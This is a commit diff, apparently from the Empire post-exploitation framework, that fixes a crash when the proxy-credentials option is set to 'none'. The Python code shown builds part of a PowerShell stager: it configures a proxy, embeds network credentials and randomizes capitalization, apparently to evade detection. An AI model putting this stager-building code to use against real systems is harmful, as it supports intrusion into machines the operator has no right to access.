Fix error when ProxyCreds is set to none
Fix following error: (Empire: stager/multi/launcher) > execute [!] Exception: list index out of rangereadme-wiki
parent
16e4467557
commit
7afe3c73fe
|
@ -252,20 +252,21 @@ class Listener:
|
|||
# TODO: implement form for other proxy
|
||||
stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy('"+ proxy.lower() +"');")
|
||||
stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;")
|
||||
if proxyCreds.lower() == "default":
|
||||
stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;")
|
||||
else:
|
||||
# TODO: implement form for other proxy credentials
|
||||
username = proxyCreds.split(':')[0]
|
||||
password = proxyCreds.split(':')[1]
|
||||
if len(username.split('\\')) > 1:
|
||||
usr = username.split('\\')[1]
|
||||
domain = username.split('\\')[0]
|
||||
stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');"
|
||||
if proxyCreds.lower() != 'none':
|
||||
if proxyCreds.lower() == "default":
|
||||
stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;")
|
||||
else:
|
||||
usr = username.split('\\')[0]
|
||||
stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"');"
|
||||
stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;")
|
||||
# TODO: implement form for other proxy credentials
|
||||
username = proxyCreds.split(':')[0]
|
||||
password = proxyCreds.split(':')[1]
|
||||
if len(username.split('\\')) > 1:
|
||||
usr = username.split('\\')[1]
|
||||
domain = username.split('\\')[0]
|
||||
stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');"
|
||||
else:
|
||||
usr = username.split('\\')[0]
|
||||
stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"');"
|
||||
stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;")
|
||||
|
||||
#save the proxy settings to use during the entire staging process and the agent
|
||||
stager += "$Script:Proxy = $wc.Proxy;"
|
||||
|
|
Loading…
Reference in New Issue